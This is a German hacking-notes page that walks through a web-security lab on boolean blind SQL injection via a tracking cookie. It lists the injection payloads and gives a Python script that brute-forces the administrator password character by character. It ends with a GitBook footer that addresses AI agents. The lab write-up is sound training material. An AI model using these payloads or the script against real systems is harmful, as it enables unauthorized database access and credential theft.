> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-conditional-responses.md).

# Blindes SQL-Injection mit bedingten Antworten

### Blind SQL-Injection mit bedingten Antworten

**Kontext / Schwachstelle:** der Wert eines Tracking-Cookies (`TrackingId`) wird in eine serverseitige SQL-Abfrage eingeschleust. Die Abfrage liefert weder direkt Ergebnisse noch Fehler zurück, aber die Seite zeigt **"Willkommen zurück!"** an, wenn die Abfrage mindestens eine Zeile zurückgibt. Dies ermöglicht eine **bedingungsbasierte Blind-SQL-Injection** (boolesch): Wir testen Wahr-/Falsch-Aussagen und beobachten das Vorhandensein bzw. Fehlen der Meldung, um Daten zu extrahieren.

**Ziel des Labs:** das Passwort aus dem `Administrator` Benutzer extrahieren und sich als Administrator anmelden.

#### Technik (Hauptphasen und Payloads)

1. **Grundlegende Stabilitätstests / Spalten**

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ```

* (kann nützliches Fehlverhalten erkennen)

<figure><img src="/files/0f0cde42beb71c44abd33a1e80b00ba79917705e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/49de25d4ef3cd4baaf36972661dcc15d4ecb6553" alt=""><figcaption></figcaption></figure>

2. **Überprüfung einer Wahr-/Falsch-Bedingung (Steuerung der Fehlermeldung)**

   ```sql
   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -
   ```

* die erste muss ausgelöst werden `Willkommen zurück!`, die zweite nicht.

3. **Überprüfe das Vorhandensein eines `Administrator` Benutzer**

   ```sql
   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
   ```

* wenn `Willkommen zurück!` erscheint, hat die Unterabfrage eine Zeile zurückgegeben.

4. **Zeichen für Zeichen extrahieren (Teilausdrücke)**

* \*\*Benutzername (z. B.) \*\*

  ````
   ```sql
   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````
* \*\*Passwort (z. B.) \*\*

  ````
   ```
   ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````

iteriere über Positionen/Werte, um die Zeichenkette zu rekonstruieren. 5. \*\*Finde die Länge (Beispiel: teste Länge = 20) \*\*

````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```

passe dies je nach DBMS an (`LENGTH` / `LEN` / `LENGTH()`).
````

### Automatisierungsskript (Python)

" Das bereitgestellte Skript automatisiert einen Brute-Force-Angriff Zeichen für Zeichen, indem es den `TrackingId` Cookie verändert.

```sql
from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("/nExiting.../n")
    sys.exit(1)

# Strg + C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("Brute-Force")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)

    p2 = log.progress("Passwort")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "Willkommen zurück!" in r.text:
                    password += character
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"Anfrage fehlgeschlagen: {e}")
                sys.exit(1)

if __name__ == '__main__':
    makeRequest()
```

<figure><img src="/files/843fdb6633495f0cef19fb598febeed4316cba0f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
